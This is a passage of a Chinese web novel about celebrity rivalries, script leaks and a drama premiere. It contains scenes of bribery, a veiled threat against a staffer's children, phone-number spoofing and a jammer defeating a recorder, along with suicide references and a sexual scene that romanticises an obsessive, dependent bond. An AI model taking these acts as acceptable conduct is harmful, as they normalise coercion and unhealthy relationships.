“上次说生育对女人身体有好处的时候我就该意识到这节目什么成分。” “宋折凝是故意的吧,她以前就上过这个节目,知道这节目的尿性,才故意和季语薇一起。” “感觉楼上真相了,其他节目就算排挤艺人也不敢这么光明正大,尤其季语薇粉丝量不小,谁敢这么光明正大地针对她啊,只有《Ttalk》本来就是靠黑红存活的,应该很容易被收买,越夸张它们越高兴。” “一群王八蛋!” 硬底包砸在鞋柜上,宋折凝放下包,转身看向芳若,“《Ttalk》怎么回事!你打点的?” 芳若惶恐摇头,“宋姐,上个月的支出都报给您了,我们没有打点过《Ttalk》。” “就算没有,难道你不知道那节目组什么样吗?为什么把我和季语薇安排一起?这不纯纯给人家造流量么!” “对不起宋姐,我也没有想到季语薇会和您碰上。”芳若焦急解释,“他们保密了嘉宾信息……对,一定是《Ttalk》!他们从开始就打算给我们挖坑,故意隐瞒季语薇的!” “乱死了乱死了乱死了!”宋折凝恼火地踢掉高跟鞋,往客厅走去,“录制的时候我就觉得有点过了,中场休息的时候问了导演,他告诉我下半场会回归主题的,叫我放心。这种真人观察秀没有剧本,我又不知道什么时候算是下场,直到快结束的时候才反应过来。” “宋姐,这纯粹是两个主持人拱火,您也是《Ttalk》引流的受害者。” “你知道我是受害者有什么用!现在外面全都骂我霸凌季语薇,《蓝海》那点路人缘全被这破节目败光了!” 芳若思索道,“这事情不难,《Ttalk》的风评一直不好,稍微搜集一下黑历史,很容易把火引到节目组身上。” “只能是这样了,就怕有《singer》的票数在前,网民没那么容易买账。”宋折凝疲惫扶额,“芳若,算我拜托你,工作上点心,别再给我接这种不入流的活儿了。” 芳若攥紧了随身携带的托特包,里面是宋折凝的化妆包、护肤品、发夹、湿巾、充电器。 “对不起宋姐,”她低语,“因为《Ttalk》这次给的比较多,为了完成对赌目标,我就答应了。” “你用你的脚指头想想,为什么一个三流节目会给那么多钱!天上哪有掉馅饼的好事!”宋折凝拔高了声音,“现在好了,又是一大笔营销公关费用!白录一天,我还得再往里面贴钱!” 芳若躬身,“对不起,我下次一定好好甄别。” “这种事不是第一次了,《singer》也是这样。”宋折凝叉腰,没好气道,“是《蓝海》让你飘了吗?娱乐圈更新换代的速度比电子产品还快,别以为一部电影成功就一辈子坐稳宝座了。” “您说的是。” “让你长长记性,这次公关一半的费用从你绩效里扣,一个月不够扣两个月,两个月不够扣三个月,扣完为止。” 芳若骤然抬眸。 对上她错愕的表情,宋折凝挑眉,“怎么,你有意见?” “……不,”芳若垂眸,捏紧了包带,“没有。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第101章 第一百零一章 “姐姐, 有封匿名邮件。” 推开健身房的门,季尧一眼锁定了卧推的邱芜澜。 她的长发扎成马尾,自卧推凳顶部垂下, 随着抬举的动作来回微晃。 邱芜澜的头发随了邱锦,柔软如云, 末端打着一点卷儿,和青丝如瀑一词无甚缘分, 晃动的时候像是条松鼠尾巴。 季尧脚步一顿,贪恋地多看了两眼。 姐姐的可爱藏在不经意间的细微末节,平常难得一见。宛如寻宝游戏一样, 每次挖掘到宝藏, 都让季尧心动不已。 他正要开口, 邱芜澜放在一旁的手机进了电话。 这是倒数第二组训练, 她面色微红, 吃力吐字:“帮我接。” 季尧按下免提, 甫一接通, 手机里便传出了热情洋溢的男声,“邱总,是我, 《Ttalk》的阿文呐。” 季尧看向邱芜澜, 邱芜澜盯着杠铃, 身体濒临极限,眼神固执倔强得像是在和死敌较劲儿。 “抱歉, 邱总现在不方便接电话, ”他不错眼地盯着邱芜澜,不肯错过这罕见的可爱表情,出口的声线低沉疏离, 不再是清甜的少年嗓音。 “啊呀,那您是…” “我是邱总的助理,有什么事我可以帮您转达。” 对方的声音冷淡下来,流露出两分倨傲,“不用了,邱总什么时候方便,我一会儿再打来吧。” 邱芜澜对着愈发沉重的杠铃皱眉,季尧哂笑,“我也不清楚,邱总短时间内恐怕没什么空。” “唉,”对面传来极不耐烦地叹气,“那可怎么办,我这事儿还挺急的。” 季尧懒得和他兜圈子,“那您现在就说吧,邱总的手机也快要没电了,上面还有几个邮件要我回复。” “……”对方沉默了片刻,意识到季尧不是偶然间接的电话,而是专门负责管理副总裁手机的高级助理后,再次开口,语气含了笑意,“那我就和您说吧,您怎么称呼?” 季尧漫不经心道,“我姓邱。” 他说话时瞥向邱芜澜,见她面不改色,对这句话没有一点儿反应。 “邱…哎呀,原来是邱泽安特助!难怪邱总的手机在您这里。” “我不是邱泽安,您到底有什么事?” 不是邱泽安,但沾个邱字,又管理着邱芜澜的私人手机,即便这不是视频,看不见彼此,Ttalk导演也拿出了最好的脸色。 “是这样的,不知道邱总有没有和您提过,她之前和我们Ttalk进行了合作。” 季尧没有出声,他便继续往下道,“本来是互惠互利的好事,但是现在……您也看见现在网上的舆论了,唉,这对我们节目组来说真是无妄之灾,投资方都有撤资的打算了。” “无妄之灾?”季尧语尾上扬,“我还以为这是贵方一贯的战略。” “瞧您说的,”对方有些尴尬,“黑红是红,但也是要有分寸的嘛。这次实在是有点太过了,上头领导和投资方面子上都过不去呀。” “那您的意思是打算如何。” “我们也没有别的意思,Ttalk和秋叶的艺人合作过很多次了,贵司好多艺人都上过我们节目,每一次Ttalk都是尽心尽力——尤其是这次对语薇,我们从选题、到台本、到两位主持人,真的是下了大功夫的。您知道吗,光宋折凝那边的保密工作,我们都是顶着很大压力在做的。 “平心而论,一个综艺过了那么多季,还能有这个流水也不容易,嗯……不知道邱总对Ttalk有没有兴趣。” 邱芜澜屈肘,发力时泄出一声闷哼。 “嗯,”季尧不咸不淡地应下,“我了解了,会转告邱总的。” “好好好,那邱总什么时候有空,我们想上门拜访。” “这段时间就算了吧,季语薇毕竟是在你们节目上受了委屈。有什么事,等风头过了再说。” “可…” “文导,我知道您对Ttalk付出了诸多心血,但你们台里不止一个节目,我们公司也不止一个艺人。大家一个圈子里低头不见抬头见,总有见面的机会,用不着这么心急。” 对面不再说话。 少息的沉寂后,导演涩然道,“您说的对。那我就等邱总有空了再联系。” 季尧将手机放回原位,听见邱芜澜吐息着开口,“我都不知道、呼…可爱担当还有这么沉稳的声音。” 季尧在卧推凳旁蹲下,“我还以为姐姐知道呢,偶像不过是我白天的身份。” 邱芜澜余光扫向他,“怎么,我没达到韦恩的规模,家里条件不好,限制你扬名立万了是么。” “没关系的姐姐,”季尧偏头,笑吟吟地望着她,“我已经长大了。不浪费家里的钱、靠自己变异,才是懂事的成年人该做的。” “你刚才进来是要说什么。”邱芜澜换了话题,锁骨上蓄满了汗水。 这两天紧急的工作终于少了些,她得以有空去调整身体。 “是剧本。”季尧正色道, “姐姐,有人发来了宋折凝下部戏的候选剧本。” 嘡—— 杠铃砸落在架子上,邱芜澜扭腰从杠铃下起身,接过季尧手中的平板,浏览起那封邮件。 “追踪过了么。”她问。 季尧道,“境外ip。” 大致翻看过后,她望向季尧,“你觉得是谁发的。” “如果只是单份剧本,可能性很多,有可能是作者身边的人,也有可能单纯是个骚扰邮件;但对方同时发来了两份。”季尧沉吟,“更像是宋折凝团队里的人。” “姐姐,”他贴上了邱芜澜的膝盖,“可以先声夺人。” 邱芜澜滑动着页面,眸中倒映着排列整齐的字符。 她漫不经心地扫过剧本,几分钟后,全幅视线都集中在了屏幕上。 “水。”她抬手,眼睛没有离开剧本。 季尧心领神会,将水递上。 邱芜澜起身走去休息凳上落座,半个小时后,目光灼灼地开口,“这是谁写的。” “张疏文,一个编导系的学生,拿过些学生奖项,是第一次写电影剧本。”季尧对答如流,“姐姐喜欢他么。” “有点意思。”她将平板交还给季尧,“留意一下吧,公司暂时没有编导相关的业务。” “那宋折凝的电影…” 组间休息有点太久了,邱芜澜扭腰躺回了卧推器上,“别这么做。” “姐姐觉得这封邮件不可信?” “不,我是觉得抄袭是最鸡肋的手段,没有任何意义。”邱芜澜推起杠铃,开始最后一组训练,“影视剧、综艺、游戏、音乐,你什么时候见过一个作品因为抄袭就人气暴跌的?” “抢在宋折凝之前拍一部电影,不仅不会对她造成任何实质性影响,观众反而还会因为好奇两部作品的差异,特地去看一眼她的电影。就算不买票,光‘宋折凝抄袭’这个词条都能热上一阵子。投资商广告方不管是黑是红,只看搜索点击量。” 她目光垂在那份学生作品上,“再说,我们也没有把握她到底会选择哪一个本子。” 季尧有点遗憾,“就这样无视掉它?” “我再想想。”邱芜澜道,“不能是抄袭这样低级的手法。” 季尧转而问,“这两个剧本,姐姐更喜欢哪一个?” “我要是有十块钱,八块会给黄钰,”杠铃降下,邱芜澜的肩膀打开,脖颈锁骨上水光淋漓,“两块给那个学生。” 季尧无奈笑道,“姐姐,这不浪漫。” 邱芜澜的商人气息太重,她分明是看好这部新人的剧本的,依旧要把80%的资产放去稳健型产品上。 不顾反对地押宝新人,然后大获全胜——这样的剧情才足够浪漫,足够戏剧化。 做完最后一组,邱芜澜放下杠铃,躺在卧推凳上闷声哼笑。 “浪漫?”她斜眼瞥向季尧,“博安特出了五辆大黄蜂,据说一比一还原,我要了一辆,会在你拆石膏那天送过来。” 季尧眼睛登时亮了。 邱芜澜莞尔,指尖碾过他的下唇,“阿尧,这才是对你我有效的浪漫。” 因为她的思维足够商业化,所以才有制造浪漫的资本。 季尧握住她的手,仰头以祈祷的姿势轻吻她潮湿的指尖,“我很期待。” “医生判定你的病降到中度以下之前,钥匙留在我这儿。”她的浪漫昙花一现,复又回归无情,“今天的药吃了么。” “吃了。”季尧扁嘴,“既然这样,就不要告诉我、让我提前知道。” “奖励放在眼前,有助于激励你康复。” 邱芜澜深吸一口气坐了起来,腹部的马甲线随吸气的动作而深邃。 “我去洗澡,帮我准备下书房。” “好~” 帮邱芜澜打开书房的电子设备和空调,季尧目光垂落在平板的邮件上。 这一封匿名邮件来得突兀,邱芜澜对它半信半疑,季尧却没什么疑虑。 他不仅相信邮件的真实性,也猜到了这两份剧本来源何处。 抄袭的确收效甚微,季尧思索着,有什么更好的办法能让这封邮件的收益最大化。 扫过邱芜澜社交账号上不断冒出的红点,季尧料想,姐姐短期之内是不会有空搭理这封邮件了。 季语薇和宋折凝的风波还在发酵,《红丝鸳》开播在即,反邱承澜的势力源源不断涌来,此外,华君润的病假也快要销了…… 姐姐有太多重要的事情要处理,这点小事,不如由他来办。 季尧登陆自己的电脑,在长串加密的模拟器里打开短信界面。 他对着空白的发信人一栏回想了一番,从记忆宫殿里翻找出一串号码,将其输入其中。 不等邱芜澜洗完澡出来,他便收到了短信的回复。 季尧扬唇。 果然,他猜的没错。 …… 窗帘闭合的包厢内,芳若不时看一眼手机,又看一眼大门。 三年前进入宋折凝团队后,她再没有和邱承澜那边有过线下接触。 钱秘书反复叮嘱过她非必要不联系,因而昨天收到钱秘书约见的短信时,芳若甚至有点惊恐。 到了收网阶段,她在宋折凝这边的日子越来越不好过;要是连钱秘书也放弃她,那她就真的没有立足之处了。 她局促不安地回想着近期的表现,反复排查自己是否有让钱秘书不满意的地方。 焦灼之下,时间变得极为难捱。 就在芳若忍不住掀起窗帘,往外看看有没有车子进来时,大门被推开了。 她急忙起身,却在看清来人时猛地一惊。 “怎么是你?” 来人穿白色卫衣,戴着宽大的黑色口罩,即便只露出一双眼睛,芳若也认出了对方的身份——被邱家封杀的弃子,季尧。 “你好呀。”他撸下头上的连衣帽,坐去了芳若对面,“好久不见了,芳若姐。” 芳若惊愕地往他身后张望,直到侍者将门关上,季尧开口:“你是在找钱秘书和承澜哥么?他们今天不会来了。” “什么意思。”芳若惊疑不定地看向座位上的少年,“那条短信是你发的?那明明…”明明是钱秘书的号码! “是他的号码。”季尧轻点扶手,“别客气,你可以坐下说话。” 在走人和留下之间,芳若犹豫片刻,最终还是选择坐下来了解情况。 她顺着季尧的意思在对面坐下,将包放在腿上、抱在怀里。 介于青年和少年之间的男孩抬眉:“不用这么防备我,芳若姐,好歹我们也在秋叶娱乐当了两年同事。” 芳若谨慎地没有接话。 季尧眸光微转,“看来你很忙——也是,承澜哥手下做事的人都很辛苦。那我就不浪费时间了。” “第一件事,”他取出一只眼镜盒大小的盒子,放去了餐桌转盘上,“我要宋折凝的电影在国庆档上映。” “第二件,”少年修长的手指搭在转盘边,将盒子转动至芳若面前,“电影里用上一段我做的bgm。” 那支盒子在芳若面前稳稳停下。 芳若掀起眼睑,“这是什么?” 季尧示意,“打开看看?” 她沉默片刻,伸手推开了盒盖。 “第一银行发行的1000g规格黄金,证书、票据都齐。”季尧说,“这是订金,电影结束之后,会补上另一根。” 芳若呼吸变得轻浅小心,“我还是不太明白,这是什么意思。” “嗯?”季尧偏头,“不喜欢黄金吗?我是听说女儿出嫁,家里都会准备黄金,才特地选了两根。” 芳若猝然抬眸,“你…” “别紧张呀。”季尧笑,“再怎么说她们也是姐姐侄儿的同学,我也不是□□。” 芳若咬牙,她第一反应是邱家不敢做那么恶劣的事,但在看见季尧打着石膏的右手时,她绝望地发现——季尧已经和邱家无关了。 季尧报复邱家、被邱芜澜封杀的消息闹得人尽皆知,这以后,再不会有人觉得他是为邱家做事,他做什么都不会连累到邱家。 这个疯子。 他敢在邱芜澜的重要项目上当众跳楼,谁知道他还会做出什么丧心病狂的事来。 芳若抬手就要把黄金推回去,却在合上盖子时,听见季尧不紧不慢的声音: “宋折凝最近的风评很糟糕啊。” 芳若动作一顿。 留意到她的微恙,季尧眸中笑意愈深,“我也见识过宋姐心情不好的样子,芳若姐在她手下做事,这段时间不好受吧。” 这话正戳芳若痛处。 为了把宋折凝身上的黑水泼到Ttalk上,光是和云书打点就花费了不少。蓝海之后,宋折凝身价飙涨,公关需要的花费也水涨船高。 因这次同时涉及了两名顶级艺人,情况非比寻常,Ttalk不得不有所行动,把责任往宋折凝头上推。 公关最怕的就是拉锯战,对方不停手,他们就得跟着加注。 而这些费用,一半都被算在了芳若头上。 未来小半年,她拿不到一点绩效。 “芳若姐,你也看得出,承澜哥要收网了,赚钱的时间也就一年不到了。”季尧用完好的左手托着下巴,腕上没有手表、手链,却是两根发圈,“这两件事对你来说,并不难呀。” 芳若低头,视线落在那金灿灿黄澄澄的金条上。 对目前的她来说,这些确实不算太多,但正如季尧所言,一年之后——兴许只是半年,离开宋折凝,她不会再有现在的收入了。 “提前到国庆上映我还可以尝试,可我不过是个助理,和音乐没有半点关系,无论如何都没有理由给天后安排配音。” “这你不需要担心,我会主动给我们的天后投稿,你要做的就是让电影选择我的音乐。” “那好。”芳若握紧了盒子,“我尽量。要是完不成,这东西我也会还给你。” 少年浅色的圆眸弯折成月。 他戴着宽大的口罩,只露出一双眼睛,可被这样甜蜜漂亮的眼睛注视着,即便是芳若也不禁心脏漏掉一拍。 她想起娱乐圈对季尧的评价——花瓶。 芳若很早就意识到,这个能随意进出邱芜澜办公室的少年绝不是草包,但还是第一次深切感受到季尧的漂亮。 只是这种漂亮太过突兀,如林中鲜艳的蘑菇,越是靓丽,越激起本能的恐惧。 “嗯……还有一件事。”少年像是临时起意,随口一提,“我很喜欢那个学生剧本,叫张疏文?” 他笑眯眯道,“要是芳若姐能用他的剧本,我会再额外支付双倍报酬。” 芳若暗惊。 那两份剧本都还锁在她的保险柜里,季尧是怎么知道的……不,这是她该操心的事。 他不仅能伪造钱秘书的号码,居然连宋折凝手头的剧本都摸得一清二楚,自己决不能和这种人多加纠缠。 她脸上的悚然没能完全遮住,季尧安慰,“这只是个附加题,芳若姐为难就算了,可如果你能办到,我会非常开心。” “我、”喉咙有些发紧,芳若咽了口唾沫才说出话来,“我会看着办的。” “好吧,”季尧耸肩,“那,下次再见。” 芳若点头,目送他离开。 她拿了金条,回到车里,从包里取出录音笔。 刺啦—— 嘈杂的雪花声覆盖了全过程,它被屏蔽器干扰,没能记录下任何一句话。 后怕感如毛虫爬上了脊背。 听着那窸窸窣窣的雪花声,芳若由衷希望这是自己倒数第二次和季尧接触。 第102章 第一百零二章 “姐姐, 听说你把影视城的宣发搁置了。” 秘书正等着邱芜澜签署文件,邱泽安进入后,秘书眼见邱总冷淡的脸上涟漪起点点温情。 接过签好字的文件, 她向邱泽安颔首致意,离开了办公室, 关门时瞟到姐弟俩的面色,不由得想起关于邱家的传闻。 看来重视家人不止是邱家对外的包装而已。 “现在不是好时候。”邱芜澜解释, “刚出了安全事故,这时候大搞优惠促销,会让品牌掉价。” “事故的风波短期内是过不去了, 安全局都撤了, 我们总不能一直这样闭园。”邱泽安忧心忡忡, “对外形象不好, 每一天的损失也不少。” 他镜上眉峰紧蹙着, 流露出烦闷。 邱芜澜冲他招手, 在邱泽安靠近后, 自抽屉里剥开一颗糖,抵入他口中。 入口的甜蜜让邱泽安愣了一下,眉间由此平展。 “我也知道短期内消散不了风波的影响, 既然如此, 就不要为无法改变的工作烦恼。时刻有人关注着你, 你的情绪会影响到员工和合作方。” 邱芜澜道,“计划无法改变, 只是我们要在这段不太顺遂的时间段里, 找到相对最为有利的节点。” 邱泽安含着糖,“姐姐是想等《红丝鸳》爆?” 邱芜澜颔首。 “万一遇冷了呢?”邱泽安依旧担心。 “那就让它不要遇冷。” “项目还没开始,前期就砸那么多钱, 只怕董事会和集团那边会不满意。” “我知道。” “泽安,”邱芜澜思忖,“我好像还没有告诉过你,建立秋叶娱乐的初衷。” 邱泽然疑惑:“不是为了进军娱乐业吗?” 邱芜澜徐缓开腔:“秋叶所有业务之间都有强关联性,我们研发芯片、研发各类智能微电子产品,再到研发这些电子产品的附属品:游戏、漫画、小说,唯独秋叶娱乐——‘娱乐圈’完全独立于集团目前所有业务之外。” “对我们来说,这是一座孤岛。” “我当时不能理解哥哥为什么要创立娱乐公司,他告诉我,娱乐圈是变现速度最快的地方,是最适合走账的地方,也是最能提高秋叶集团社会影响力的地方。” “泽安,这家公司的目的不在于盈利。”透过落地窗,她坐在瑚城CBD的高处,“这个行业来钱很轻松,但想主导它并不容易。” “手里有了钱,人就不愿意当打工仔、被公司套住,这是常情。” “明星们赚了钱就各处分散、开起独立工作室,公司无法成为他们的火车头。” “在娱乐圈,公司控制不了头部艺人,而中低层的明星是跟着头部走的,明星挖明星,比公司挖明星更加容易。” “我思考了很久,到底什么才能掌控头部明星。” 邱泽安屏气凝神:“影视城。” “没错,这就是我思考后的结果。”邱芜澜道,“人是活的,地却是死的。” “如果全国40%的影视基地掌握在秋叶手里,那么85%的头部明星就受到我们的牵制。” “这是一个高成本、长周期、低回报率的项目,为了测试它的可行性,我拿了相对便宜的音乐圈做试点——以瑚城为中心,我们投资了周边城市6家大型演唱会场馆。” “歌手开办演唱会的周期在1到3年,一年半时间里,二线以上的歌手七成和我们有了接触。” 她抬手,“想想这个数字,我们掌握着七成歌手开办演唱会的场地、时间、场次、费用。” 这代表着秋叶和七成歌手有了谈判的机会和筹码。 “而这七成活跃歌手决定、主导了整个乐坛。” “这才是集团和董事会通过影视城项目的原因。” 她又捡了一颗糖出来,放入邱泽安手心,“泽安,你的眼光不能只停留在单年、单个项目的收支报表上,那是中小企业的视野,不是我们的。” “姐姐……”镜片后的凤眸微微泛红。 她从头到尾没有安慰他一句,可在听完她的话后,邱泽安心脏鼓动,充盈了家族自信。 “是什么限制了你的视野?”邱芜澜眸中泛起丝丝笑意,“看来该带你去开一张白金卡了。” 邱泽安连连摇头,“不用姐姐,我用不到那么大的额度。” 私下里,他并不喜欢贷款。 “你可以不用,但不能没有。”邱芜澜按下连通简办公室的通讯器,“简,帮我预约银行。” 邱泽安凝望着掌心里的糖。 他满心焦虑而来,轻松信步而走。 回到自己办公室,邱芜澜拆开了那颗糖,依照邱芜澜喂给他的动作放入了口中。 赤藓糖醇的味道一如既往寡淡,这味道伴随了他一生,邱泽安吃了不计其数的糖,唯独从邱芜澜手中接过的那些,每一颗都比他自己吃的要鲜明醇厚些许。 当周周五晚八点,预热已久的《红丝鸳》重磅开播。 推送营销占满了各平台头条、开屏。 演员阵容相当豪华,为了保障数据,《红丝鸳》不仅服化道考究,选角也相当考究。 主演用的是极具人气的实力派演员,二三番配角里,实力派和流量派达到了2:1配比,往下的龙套、路人则又是清一色的老演员,演技超越了配角。 光是演员就够做出不少文章。 开播头一个周末,无数双眼睛紧盯着这部剧的数据,电视收视率、网络播放数、点击数、搜索数、景气指数、评论走向…… 国内各个维度里的影视剧榜首早已罗列出来,宋折凝综合指数最高的电视剧也被作为《红丝鸳》横向指标之一。 “语薇姐,到您了。”助理来敲保姆车的车窗,喊了几遍都没有得到回应。 她拉开车门,只见季语薇咬着拇指,紧盯手机上实时变动的播放指数,浑然陷在了数据中。 季语薇对剧的关注沉默无声,而秋叶娱乐大厦里,则直接具现化为了繁忙紧凑。 “首日数据出来了,网络视频平台那边想追加条件。” “什么条件?” “希望追加超前点播。” “不可以,早就和他们谈好了只上预告。” “视频平台那边愿意让出五个点的广告费。” “别理,邱总在会议上明确说过的:以后秋叶影视城拍出来的剧都不上超前点播和vip中间广告。” “总监,72小时的统计都齐了!” “抄送给营销、市场和策划,准备会议室。” “网络播放数、景气指数都破了国内记录!” “但是视点没有,比宋折凝那次还低0.3个点。” “已经是近三年电视剧的最高视点了,现在谁还用电视机,要考虑她那年到现在电视机使用率跌了21%啊,其中绝大多数还都是我们的目标群体。” “还要不要理会宋折凝团队就视点上的攻击嘲讽?” “怎么现在我们还有和宋折凝捆绑的话题?她都离开多久了。” “不知道啊,最近几天零零散散地冒出讨论。有可能是宋折凝团队在借机炒冷饭。” “首周结束,热度不错,尤其两个周末战绩斐然。自然话题热度足够高了,下周开始撤掉部分宣传。” “女三的团队和粉丝都一点就炸,下周四左右可以推一下她和群演的演技对比,正好也为周末预热。” “第二周就开始拉踩撕逼会不会有点早?前期还是正面引导为主吧。” “从第一秒弹幕就有人在刷季尧自杀,这个开局还管什么正面不正面。” “正因基础口碑已经有争议了,所以后面还是稳点好。” “华君润怎么样了,能赶上发布会么。” “没什么问题,和他助理确认过了,周一会销假。” 邱芜澜长舒一口气。 她托着季尧的右手来回翻看,被石膏闷了近一个月,右手皮肤像是被水泡过,显现出不健康的白。 “肌肉都萎缩了。”顺着手掌,邱芜澜覆上了他的右腕、小臂,直到肱二头。 两边手臂有些不对称,她碰了碰季尧的右手,“抓握时难受么。” 下一刻,她的手被季尧五指紧扣。 “难受,骨头又痒又痛。” 邱芜澜有些担心会影响季尧未来生活。 季尧的手是金贵的,需要运动格斗、弹奏乐器、游戏竞技以及烹茶做饭,这些事情都是需要精细化、高强度的操作。 她蹙眉,满眼痛惜。 “生了病,为什么要瞒着我。” 这句话从季尧跳楼的那一刻起就徘徊了邱芜澜嘴边,但既然季尧选择隐瞒她数年之久,那一定有不能出口的缘由。 害怕刺激到他,邱芜澜迟迟没有问出口。 随着笨重的石膏脱下,破碎的右臂康复,她试探着挖掘深处。 季尧半瞌眼睑,迟疑片刻,复又望向邱芜澜,娃娃脸上透出疑惑,“我真的生病了么。” 邱芜澜一愣,“什么?” “因为是姐姐说我病了,所以一开始我也觉得是这样。”季尧沉吟,“可重度精神心理疾病这么轻松吗?我没觉得自己有什么不对劲的地方。” “你…”邱芜澜怔怔开口,“你一点不觉得自己割断安全带、从楼上跳下来有什么不对?” “那是因为我太痛苦了。”季尧垂头,揪住邱芜澜的衣摆,“那段时间我不能和姐姐亲近。交出钥匙卡后,一想到自己再也看不到姐姐,就觉得活着毫无乐趣。” “我也知道不能在那个地方跳,但那天实在是太痛苦了。” “对不起姐姐,可能是因为我…潜意识知道,影视城和《红丝鸳》是你最重视的两个项目,要是我在这两个地方出了事,你一定会注意到我。” “我太私自了……”他耷拉着脑袋,“是不是因为做出这种事情,我没法面对你,醒来后慌张地想要推卸责任,才会误导红医生下了诊断?” 跟在邱家那么多年,季尧对精神方面有一定了解。 他想,自己也许是在故意引导医生误诊。 “又或者——”他小心翼翼地抬眸,用讨好且欢喜地眼神看向邱芜澜,“是姐姐在包庇我。” “姐姐是不想我自责难过,才骗我说我生病的?” 透过季尧期待的双眸,邱芜澜越过他,看见柜台上琳琅的药盒、药瓶,以及这段时间以来季尧的病历本与账单票据。 “你觉得自己没有生病,”邱芜澜无端感受到了一股悚然,“那些药,你都…” “我都吃了。”季尧急忙回答,“我一颗不落地吃了。” 这不合逻辑! “你要是认为自己没有生病,那就明白普通人不能吃这么大剂量的精神类药物!” 季尧脸上的神情倏地变得古怪,目光躲闪偏移。 邱芜澜睁眸,“你没有吃!对不对!” “不,我真的吃了。”季尧仓惶地后仰,在邱芜澜的逼视下,他心虚地小声道,“我真的吃了……因为我也考虑过:也许姐姐是觉得我太闹腾了,所以才开的这些药,想让我安静一点、老实待着。” 邱芜澜后背发冷。 “你是觉得……”她不可置信地喃喃,“我嫌你惹是生非,所以联合了医生给你下药?” 第103章 第一百零三章 邱芜澜荒唐而震惊的表情让季尧立刻明白自己说错话了, “不没有,姐姐,我没有这样想!” 天旋地转间, 邱芜澜想起红医生说的话。 「不论到底是什么病,只要出现了自杀行为, 那都相当危险。」 是她太狂妄了,自以为从小接触过精神心理相关, 又见证过泽安泽然的好转,就把季尧代入了泽安泽然,想当然地认为他不会有什么大碍。 这段时间以来, 季尧的表现也和常人无异, 让她在繁重的工作中松懈了对他的关心。 只是邱芜澜实在不明白, “不提自杀, 你之前出现过的进食障碍还有头痛, 这么多年, 你一次都不觉得这不正常?” 季尧不假思索:“那是因为我想姐姐了。” “想念一个人怎么会到废寝忘食、头疼失眠的地步!” “不会吗?”季尧狐疑, “情歌都在唱撕心裂肺。这么说起来,除了和姐姐一起运动的时候外,我都还没有为姐姐心肺痛过几回。” 邱芜澜扶额。 她自己也是精神病, 早该知道精神病都有一套自己的逻辑体系。 “姐姐, 别生气。”季尧不明所以, 可还是露出了邱芜澜最喜欢的姿态。 他驯服地跪在她身前,倚着她的双膝, “这段时间实在是太幸福了, 我忍不住胡思乱想。既然红医生已经确诊了,那一定是我出了问题。” 邱芜澜只觉得无力。 她猜测了很久季尧向她隐瞒病情的原因,到头来, 他已经病入膏肓,连自己生病都察觉不到了。 为什么会这样……她看向那些药瓶,今天之前,她根本不知道季尧是抱着什么心情服药,又是怎么笑着和她汇报每日病情的。 她应该愤怒、该难过、该愧疚,可纷杂的情绪下,邱芜澜感受最深的却是兴奋。 俯视着跪在身下的季尧,她深感卑鄙,却又沉沦在无与伦比的狂潮之中。 好饿……好高兴。 好高兴。 她蹲了下来,推着季尧坐下,膝盖挤进他的双膝。 意识到邱芜澜要做的事,季尧仰面躺在了地毯上。 少年教堂天使般的脸上布满红晕,靡艳瑰丽。 他如痴如醉地献上吻,被邱芜澜避开。 她执起了季尧削弱苍白的右手,在他指尖落下轻吻,随后含入口中。 季尧瞳孔微缩,咬着下唇,双眼潋滟迷离。 邱芜澜从指尖舔咬过指缝,又到腕骨。 她控制不住身体,一边尽情发泄,一边冷静地思考后续。 从小受困于瘾症,她很熟悉身体与思维的割裂感。 很多事等不及邱芜澜慢悠悠地发泄完,再衣冠楚楚地做决定。因此,她的许多决策都在这样混乱的状态下完成。 此时此刻,邱芜澜又一次面临抉择。 该告诉季尧么—— 告诉他这不是爱,这是病;强迫他明白自己是个重症患者。 还是,让他继续这样积极乐观下去。 “哈…阿尧……”邱芜澜坐了下去,选择坦白,“我有过很多任情人,可我不了解爱。” 季尧迷蒙地望着她,泪眼朦胧,气喘吁吁。 “如果让我举例最标准的爱情是什么样,那应该是华君润的模样——疯狂、热烈、倾尽所有,会为爱人做出牺牲和改变,但不允许对方践踏自己的底线。” “你呢,”她垂手拂过少年绯红的脸,“你有不容许我僭越的底线么。” 季尧痴迷地仰望她,“我比他更爱姐姐。” “即便我药傻你、把你变成傻子,你也心甘情愿?” “如果姐姐厌弃阿尧了,那我愿意。” 比起清醒地和邱芜澜分开、清醒地看见她脸上的厌恶,季尧宁愿被她哄着吃药,将记忆留在伪装的那一刻温柔里。 邱芜澜深深蹙眉,“阿尧,你病了。我没有骗你。” 季尧喘息,汗水顺着肩颈划下,“姐姐不喜欢我这样想么。” 邱芜澜没有回答。 半晌,她搂紧了季尧的脖颈,与他合二为一。 她喜欢,她一点儿也不想纠正他扭曲的想法。 她厌烦极了华君润所谓的底线,为了些无关紧要的小事和她争论不休。 他爱她,她也看见了他的让步和牺牲,他能为她放弃事业,为什么就不能在她筋疲力尽地时候放弃和她争吵。 家人,该是相互支持的。 父亲背叛了病榻上的母亲,可母亲到最后一刻还在安排家族事务,全力为父亲、为家人打理家业; 同样,父亲也誓死维护着母亲的地位尊严,不仅在泽安泽然出生后就做了结扎,母亲去世十数年后,他还在不惜一切代价抹除网上的流言。 她的父母如此,她的兄弟也是如此。 不管她和哥哥多么唾弃父亲的私德,他们依旧支持着他身为董事长的决策,也接受了他将情妇带进家中的举动。 邱芜澜支持着自己的父母、支持着兄长,也支持着两个幼弟,支持泽安管理公司、支持泽然任性的恋情。 她不会像父亲那样冷血霸道,将伴侣终生圈禁家中,更不会同时和多人发生关系。 她比父亲更好,为什么就不能拥有一个像母亲一样的伴侣。 像母亲那样,双方之间不必是爱情,但一定是忠诚; 一个在她回到家后,如母亲迎接父亲那样,满脸璨笑、全心全意拥抱着她,对她说—— “姐姐。” “姐姐……哈…” 季尧扣着邱芜澜的腰肢翻身,漂亮的浅色瞳孔里盛满了她,爱意如蜜,涓涓渗出,黏腻地垂涎至邱芜澜身上。 “姐姐,别生气,阿尧是病了,但阿尧会比华君润、比韩尘霄更爱你。” 邱芜澜抿唇。 近三十年来,刻在她脑中对伴侣的温馨畅想轰然破碎。 她数不清自己到底交往了多少人,每一任相处了短短几个月后,都会被她不胜耐烦地赶走。 她以为是对方的性格、能力不符合自己的期望。 可在季尧迷恋痴醉地唤出“姐姐”二字时,她彻底反应过来—— 错位的不是性格、能力,而是身份关系。 如同缺失的一块拼图,她拿着“亲爱的”“老婆”“宝贝”一系列情侣间的称呼,试图拼进脑海中的画面里。 多年来她换了十几块,始终不能契合画面。 直到此刻,这声偏执痴迷的“姐姐”,严丝合缝地嵌入了画中。 